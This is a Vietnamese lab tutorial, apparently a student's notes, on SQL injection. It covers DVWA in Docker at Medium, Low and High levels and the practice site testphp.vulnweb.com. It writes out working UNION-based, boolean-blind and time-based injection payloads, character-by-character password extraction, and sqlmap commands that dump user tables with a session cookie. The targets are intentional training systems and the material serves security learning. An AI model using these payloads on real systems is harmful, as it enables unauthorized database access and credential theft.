**Thiết lập ban đầu :**

Kết nối internet cho Kali : sudo ip route add default via 192.168.1.1 dev eth0

Dùng Docker để mở được trang web DVWA :

sudo docker run --rm -it -p 8080:80 vulnerables/web-dvwa

**Kiến thức :**

**SQL Injection** là một kỹ thuật tấn công mà hacker chèn mã SQL độc hại vào truy vấn SQL của ứng dụng, thông qua các đầu vào không được kiểm tra kỹ (như ô nhập văn bản, tham số URL, hoặc form).

**Sqlmap** là một công cụ mã nguồn mở, tự động hóa việc khai thác lỗ hổng SQL Injection. Có thể khai thác các lỗ hổng phức tạp mà thủ công khó thực hiện.

**Cookie và xác thực phiên trong DVWA**

* DVWA yêu cầu đăng nhập để truy cập. Khi đăng nhập, server tạo một phiên (session) và lưu thông tin phiên trong **Cookie** (cụ thể là PHPSESSID).
* Sqlmap cần Cookie để vượt qua xác thực và thực hiện tấn công trong phiên đã đăng nhập.

**Các mức bảo mật trong DVWA (SQL Injection)**

* **Low**: Không có bảo vệ, cho phép nhập trực tiếp mã SQL vào ô **User ID**. Bạn có thể nhập 1' UNION SELECT user, password FROM users # để lấy dữ liệu.
* **Medium**: Sử dụng menu thả xuống (select dropdown) để hạn chế đầu vào của người dùng (chỉ cho phép chọn các giá trị như 1, 2, 3,...). Tuy nhiên, nếu backend không kiểm tra kỹ dữ liệu gửi từ client, hacker vẫn có thể tấn công bằng cách sửa request.
* **High**: Không có ô nhập văn bản, thay vào đó là một liên kết **"click here to change your ID"**, làm thay đổi tham số id trong URL. Mức này khó tấn công hơn, thường cần kỹ thuật Blind SQL Injection.

Bài 1 : DVWA sql injecttion: Medium

Mức Medium sử dụng menu thả xuống để hạn chế đầu vào, nhưng mình lại có thể chỉnh sửa request để gửi mã SQL độc hại, cho thấy bảo vệ ở giao diện (client-side) không đủ.

Học cách tấn công thủ công bằng cách sửa HTML hoặc request.

Vào <http://localhost:8080/>

Đăng nhập : admin

Password

Chọn create/reset table

Bấm login 🡪 đăng nhập y như trên

Chọn DVWA Security 🡪 Medium

Vào SQL Injection , ở mục user id chọn 1

Bấm nút F12 trên bàn phím, chọn Inspector 🡪 tìm vị trí số 1 đang được chọn

Thay thành: value= "1 or 1=1 UNION SELECT user, password FROM users#">

UNION SELECT user, password FROM users#</option>

Lưu ý : UNION SELECT user, password FROM users# thay thế cho số 1 ( >1< )

Rồi bấm submit

Bài 5 :

Hackbar là một công cụ trên Firefox giúp bạn chỉnh sửa URL để thực hiện SQL Injection thủ công.

Hackbar giúp bạn sửa URL để chèn mã SQL độc hại, hiểu rõ cách SQL Injection hoạt động.

Nó cho phép bạn sửa URL trực tiếp và gửi request mới tới server.

Chuyển sang low

Vào SQL Injection , ở mục user id điền số 1 rồi submit

Bấm F12 🡪 vào HackBar

Chọn Load URL

Thay chỗ id = 1 thành : id=1' UNION SELECT user, password FROM users-- -

Rồi bấm execute 🡪 tất cả các user và password sẽ hiện ra

Bài 4 : Sqlmap trên testphp.vulnweb.com

**Kiểm tra website có hoạt động không**

Mở terminal, chạy : ping testphp.vulnweb.com

**Lấy danh sách database**

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

**Lấy toàn bộ thông tin database :**

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbms=mysql --risk=3 --level=5 --tables –batch

**Khai thác website thực tế**: testphp.vulnweb.com là một website thử nghiệm, mô phỏng ứng dụng thực tế với lỗ hổng SQL Injection.

Sử dụng các lệnh Sqlmap để trích xuất thông tin: danh sách database, bảng, cột, và dữ liệu nhạy cảm.

Một tham số không được kiểm tra kỹ (như artist=1) có thể dẫn đến việc rò rỉ dữ liệu nhạy cảm (username, password).

* **Hiểu phạm vi tấn công**: Sqlmap có thể khai thác dữ liệu nhạy cảm (username, password) từ website công khai.
* **Nâng cao kỹ năng**: Học cách áp dụng Sqlmap trên các mục tiêu khác nhau.

Bài 3 : Sqlmap(Sql injection): High

**Tự động hóa tấn công SQL Injection**: Sử dụng Sqlmap để khai thác lỗ hổng SQL Injection một cách nhanh chóng, thay vì làm thủ công

Sqlmap tự động thực hiện các bước sau để khai thác lỗ hổng SQL Injection:

1. **Phân tích URL và tham số**:
   * Bạn cung cấp URL: http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit.
   * Sqlmap xác định tham số id là điểm đầu vào có thể tấn công.
2. **Kiểm tra lỗ hổng SQL Injection**: Sqlmap gửi hàng loạt mã độc (payload) vào tham số id để kiểm tra phản hồi của ứng dụng.

* id=1 AND 1=1: Nếu trang vẫn hiển thị thông tin user, điều kiện đúng.
* id=1 AND 1=2: Nếu trang không hiển thị thông tin (hoặc hiển thị khác), điều kiện sai → Có lỗ hổng **Blind SQL Injection**

1. **Xác định kỹ thuật khai thác**:

* Ở mức High, vì không có ô nhập văn bản và dữ liệu không hiển thị trực tiếp, Sqlmap sẽ sử dụng Blind SQL Injection (boolean-based hoặc time-based).
* Boolean-based: Sqlmap gửi các truy vấn đúng/sai để đoán dữ liệu từng ký tự.
* **Time-based** : Sqlmap gửi: id=1 AND IF(1=1, SLEEP(5), 0). Nếu trang tải chậm (5 giây), điều kiện đúng.

Làm ở chế độ low trước 🡪 chọn low

Nhập 1 ở SQL injection rồi nhấn F12 🡪 vào storage 🡪 cookie chọn mã PHPSESSID ở bảng data bên phải.

Thay mã trên vào lệnh bên dưới, chú ý đến địa chỉ web local

sqlmap -u "**http://localhost:8080/vulnerabilities**/sqli/?id=1&Submit=Submit#" --cookie=" **PHPSESSID=9dkcofm882c6t0u78v8fn8psp4**; security=low" -D dvwa -T users -C user,password --dump –batch

Sau đó sẽ hiện mã.

Sau đó làm ở chế độ high 🡪 chọn high

Làm tương tự như ở low

Bài 2 : DVWA - SQL Injection Blind (mức High)

**Blind SQL Injection** là một kỹ thuật khai thác SQL Injection khi bạn không thấy kết quả truy vấn trực tiếp. Thay vào đó, bạn suy luận dữ liệu dựa trên phản hồi của hệ thống (ví dụ: nội dung trang thay đổi hay không).

Ở DVWA (mức High), kỹ thuật này là **boolean-based Blind SQL Injection**, nghĩa là bạn dùng các truy vấn đúng/sai để đoán dữ liệu từng ký tự.

**Kiểm tra**:

* Nhập 1' AND 1=1 #:
  + Truy vấn: SELECT \* FROM users WHERE user\_id = '1' AND 1=1.
  + 1=1 đúng → "User ID exists in the database".
* Nhập 1' AND 1=2 #:
  + Truy vấn: SELECT \* FROM users WHERE user\_id = '1' AND 1=2.
  + 1=2 sai → "User ID is MISSING from the database".
* **Kết luận**: Phản hồi thay đổi dựa trên điều kiện đúng/sai → Có lỗ hổng Blind SQL Injection

**Bước 2: Đoán dữ liệu từng ký tự**

**Lấy tên database**:

Để lấy tên database (dvwa), bạn dùng hàm database() và SUBSTRING để kiểm tra từng ký tự.

* 1' AND (SELECT SUBSTRING(database(),1,1))='d' #
* Lặp lại cho các ký tự tiếp theo: v, w, a.

**Tìm mật khẩu :**

**Đoán ký tự đầu (là 5)**

**1' AND (SELECT SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))='5' #**

**1' AND (SELECT SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))='1' # ( sai )**

**Đoán ký tự thứ hai (là f)**

**1' AND (SELECT SUBSTRING((SELECT password FROM users WHERE user='admin'),2,1))='f' #**

**Tối ưu hóa để lấy password nhanh hơn**

**1. Sử dụng kỹ thuật nhị phân (Binary Search)**

* Thay vì thử lần lượt từng ký tự (0, 1, 2,..., f), bạn dùng kỹ thuật nhị phân để thu hẹp phạm vi bằng cách so sánh mã ASCII của ký tự.
* **Mã ASCII**:
  + 0=48, 1=49, ..., 9=57, a=97, b=98, ..., f=102.
  + Phạm vi cần thử: 48-57 (cho 0-9) và 97-102 (cho a-f).
* **Cách thực hiện**:
  + Chia đôi phạm vi và kiểm tra xem ký tự nằm ở nửa nào.
* **Ví dụ: Đoán ký tự đầu của password (là 5)**:

Kiểm tra toàn bộ phạm vi (48-102):

1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1))>75 #

* + - Trung điểm giữa 48 và 102 là 75.
    - ASCII của 5 là 53 → 53>75 sai → "User ID is MISSING".
    - Ký tự nằm trong khoảng 48-75.